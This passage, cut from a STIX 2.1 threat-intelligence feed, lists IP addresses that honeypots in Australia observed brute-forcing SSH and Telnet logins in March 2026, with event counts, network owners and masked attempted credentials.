      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 52307. Organisation(s): CORPICO LTDA. Usernames observed (masked): ***. Passwords observed (masked): E****3.",
      "id": "indicator--8c5be005-7379-4a6e-8432-f95f6161faa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.184.222.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d0e50b40-1aa4-4555-87e1-6cc0cff846a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): 2**5.",
      "id": "indicator--5b2eb43d-37ca-43a8-8eb9-d83bfb67fd78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.91.166.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): m****i, n*********e, r**t. Passwords observed (masked): 1****6, m****x, m*******3.",
      "id": "indicator--73cb0218-1018-4125-b6d6-806c6fdda548",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.240.82.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139989. Organisation(s): CV Atha Media Prima. Usernames observed (masked): s****w, 3**********4, a******a, a*******r, ***. Passwords observed (masked): 1******8, 1**4, 3***********4, 3**********4, a***********4.",
      "id": "indicator--09edc926-8af8-46d8-bfbb-1f3dbd7c29e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.216.178.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--9b427c77-f94f-4d79-90f3-8a7093d06851",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.222.188.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T10:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): p***t, 3**********4, a******a, a*******r, m********g. Passwords observed (masked): 1******8, 1**4, 3***********4, 3**********4, a***********4.",
      "id": "indicator--c7f3b40c-e0b1-43a0-9f54-1f9de41a524c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T10:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '98.70.56.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T10:15:16.000Z",
      "valid_until": "2026-04-12T10:15:12.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s**v, ***, s****a. Passwords observed (masked): 1****6, s****a, **, ***, 1**4.",
      "id": "indicator--5a7e8df3-9e8e-4329-abf2-292111494243",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.87.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): 3**********4, r**t, j***a, **, ***. Passwords observed (masked): 3***********4, 3**********4, ***, 2**5, A*********#.",
      "id": "indicator--dcd6851d-adf9-4bcc-abf6-73834d9ad406",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.225.18.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 27843. Organisation(s): WIN EMPRESAS S.A.C.. Usernames observed (masked): 3**********4, a***a, e*****c, ***, a**r. Passwords observed (masked): 3***********4, 3**********4, E****3, I*****3, S*****3.",
      "id": "indicator--a59780d4-ae5b-4a7c-b01b-cf3f58f394e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.132.125.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, r**t, 7***s, j***a, **. Passwords observed (masked): 3***********4, 3**********4, ***, 2**5, A*********#.",
      "id": "indicator--973c29b7-d9d7-4664-a22e-0f3547e4bbd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.22.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1f482789-9e82-48aa-a547-1162c2bef464",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.136.255.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--61ab52e8-e4ca-40b2-9740-44b1f3b7a2cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.164.139.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--ebc52a2a-dd1f-43c4-bf0e-fc0d893a97ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.17.226.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--eb9bd0ef-24aa-4498-95e1-6d80155b5f2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.180.188.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T11:15:07.000Z",
      "valid_until": "2026-04-12T11:15:05.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 138968. Organisation(s): rainbow network limited. Usernames observed (masked): 3**********4, ***, r***n, ***, ***. Passwords observed (masked): ***, 3***********4, 3**********4, !******z, 1**4.",
      "id": "indicator--47e6b742-1558-4791-b5fb-ebd9613ed256",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.115.41.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--d4acbe27-49a9-48b8-b114-4b0ff7cbe4ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.35.131.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): A*******6, P********G.",
      "id": "indicator--4dd60cd0-5b76-4aa6-b524-ca4f35b4f633",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.190.216.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, 3**********4, ***, i**v, ***. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--917048e2-4e74-4c76-8da5-a8d2c1ff9475",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.197.153.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): m***c. Passwords observed (masked): 1******8.",
      "id": "indicator--e58db47a-df56-4bc8-9bc1-4dc1f4930ded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.163.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): o******n, t**t. Passwords observed (masked): o******n, t******3.",
      "id": "indicator--faf79998-32db-4153-b347-46e635906128",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.133.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): ***, 3**********4, a***a, a*****r, b****x. Passwords observed (masked): ***, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--a45d4748-a882-4bb5-9f8f-54a60eb27596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.118.127.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52564. Organisation(s): Biazi Telecom.",
      "id": "indicator--096692ee-04db-4e20-91de-99b0e6f2e763",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.85.156.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): f******l, ***. Passwords observed (masked): 1******8, f******l.",
      "id": "indicator--ba06a03b-ce8d-40b4-a56c-965b73528417",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.187.146.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--31c86ccf-84f3-4b57-aafe-a0e3c36edcb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.24.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): ***, 3**********4, i**v, **, ***. Passwords observed (masked): ***, 1******8, 3***********4, 3**********4, I****!.",
      "id": "indicator--4ac200b4-8d43-468d-8bd8-d38b24edf48e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.56.197.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--d5869ed9-797a-4c86-8fc6-c11b99a21129",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.140.230.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--51ccc7a6-a265-4e7d-ac82-624a6b00e86f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.62.247.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--d23ef18f-e651-4197-acd8-feecad4d518a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.195.166.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137702. Organisation(s): Nanjing, Jiangsu Province, P.R.China.. Usernames observed (masked): ***, ***. Passwords observed (masked): ***, o*****4.",
      "id": "indicator--9f1bbe05-0eaa-4406-bc00-9b561ae03f41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.155.106.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d3b70f61-f0c8-4635-a2ba-6ab6d71c6c20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LA. ASN(s): 137409. Organisation(s): GSL Networks Pty LTD. Usernames observed (masked): a***n. Passwords observed (masked): 1****6.",
      "id": "indicator--a3e4db51-470d-430f-9f89-9e6fd2696591",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.64.98.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T12:15:13.000Z",
      "valid_until": "2026-04-12T12:15:12.000Z"
    },
    {
      "created": "2026-03-11T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--98e63991-241e-46c3-b755-b52144f196c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
